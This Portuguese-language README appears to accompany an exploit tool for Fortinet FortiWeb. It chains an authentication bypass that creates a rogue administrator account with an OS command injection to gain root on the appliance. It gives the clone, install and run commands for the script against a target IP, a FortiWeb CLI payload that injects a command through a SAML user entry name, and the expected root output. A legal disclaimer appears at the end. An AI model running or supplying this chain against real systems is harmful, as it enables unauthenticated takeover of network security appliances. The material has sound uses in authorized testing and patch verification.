
Exploit de Execução Remota de Código (RCE) no FortiWeb via cadeia CVE-2025-64446 + CVE-2025-58034
Este script encadeia duas vulnerabilidades críticas no Fortinet FortiWeb para alcançar execução remota de código não autenticada com privilégios de root:
CVE-2025-64446 – Bypass de Autenticação via Path Traversal Relativo
Permite que um atacante não autenticado contorne a autenticação e crie uma nova conta administrativa.
CVE-2025-58034 – Injeção de Comandos do SO Autenticada
Um atacante autenticado (usando a conta criada na etapa 1) pode executar comandos arbitrários do SO como root por meio de requisições HTTP especialmente elaboradas.
Ao combinar essas duas vulnerabilidades, um atacante pode passar de acesso zero ao comprometimento total do sistema sem nenhuma credencial prévia.
Impacto Final: Execução Remota de Código Não Autenticada (equivalente a um shell root)
Cadeia de Ataque Combinada:
Clone o repositório:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
Instale as dependências:
pip install -r requirements.txt
Execute o exploit completo (cria admin + executa comando):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: O endereço IP ou nome de host do appliance FortiWeb vulnerável. Este é um argumento obrigatório.-u <username> (opcional): Especifique um nome de usuário personalizado para a conta administrativa criada. Se não for fornecido, um UUID será usado.-p <password> (opcional): Especifique uma senha personalizada para a conta administrativa criada. Se não for fornecida, o nome de usuário será usado como senha.Exemplo:
python exploit.py 192.168.1.100 -u admin123 -p password456
Isso tentará criar uma conta administrativa com o nome de usuário "admin123" e senha "password456" no appliance alvo em 192.168.1.100.
Se nenhum nome de usuário e senha forem especificados:
python exploit.py 192.168.1.100


Após fazer login com sucesso usando a conta administrativa recém-criada, um atacante pode explorar a vulnerabilidade de injeção de comandos autenticada por meio de requisições especificamente elaboradas ou diretamente via CLI do FortiWeb.
Um método de exploração confiável é usar o seguinte comando CLI (executado a partir da interface de linha de comando do FortiWeb após a autenticação):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

Após a execução:
uid=0(root) gid=0(root) confirma RCE como root)Aviso Legal: Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita para testar é ilegal.
O script gerará um UUID aleatório para o nome de usuário e o usará como senha.